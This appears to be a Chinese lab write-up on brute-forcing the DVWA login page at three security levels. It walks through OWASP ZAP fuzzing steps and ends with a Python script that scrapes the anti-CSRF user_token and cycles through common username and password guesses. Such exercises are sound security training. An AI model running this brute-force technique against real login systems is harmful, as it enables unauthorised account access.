-
Low:
随便输一下用户名,密码,test
点击Login
显示用户名或密码错误
在owasp-zap查看数据包
点击,就会转到这
右键,点击Fuzz
点击Remove删除默认的
选定参数变量值,点击Add
再点击Add
然后输入几个可能的用户名,点击添加
然后点击ok
对password参数也是一样的操作,密码的字典
设置完了之后,点击Start Fuzzer
开始暴力破解
按Size Resp.Body可以更快地找到正确的结果
是正确的账号密码
-
Medium:
Medium级别的方法跟Low级别的方法一样,只不过响应的时间有点长
看一下源代码
可以看到,登陆失败的话,会睡眠2秒
-
High:
High等级用上面的方法爆破不出来,因为多了一个user_token参数
user_token是上次请求返回的
所以,右键查看源代码能得到下次请求的user_token
这次请求的源代码
下次请求的user_token
结果是一样的
写个python脚本爆破
__author__ = "MuT6 Sch01aR#"
import requests
import re
username = ['root', 'admin', 'test']
password = ['123456', 'admin', 'admin888', 'root', 'abc123', 'password', 'qwerty']
cookie = {'security':'high','PHPSESSID':'ohjjiijt8p02u3adkoucjgqte1'}
r = requests.get(url='http://192.168.2.140/dvwa/vulnerabilities/brute/?username=&password=&Login=Login&user_token=', cookies=cookie)
r_esult = re.findall("<input type='hidden' name='user_token' value='(.*?)' />", r.text)
user_token = r_esult[0]
for u in username:
for p in password:
res = requests.get(url='http://192.168.2.140/dvwa/vulnerabilities/brute/?username='+u+'&password='+p+'&Login=Login&user_token='+user_token, cookies=cookie)
re_sult = re.findall("<input type='hidden' name='user_token' value='(.*?)' />", res.text)
user_token = re_sult[0]
if 'Username and/or password incorrect.' in res.text:
print("登录失败,账号:%s,密码:%s" %(u,p))
else:
print("登陆成功,账号:%s,密码:%s" %(u,p))
要带上cookie
运行结果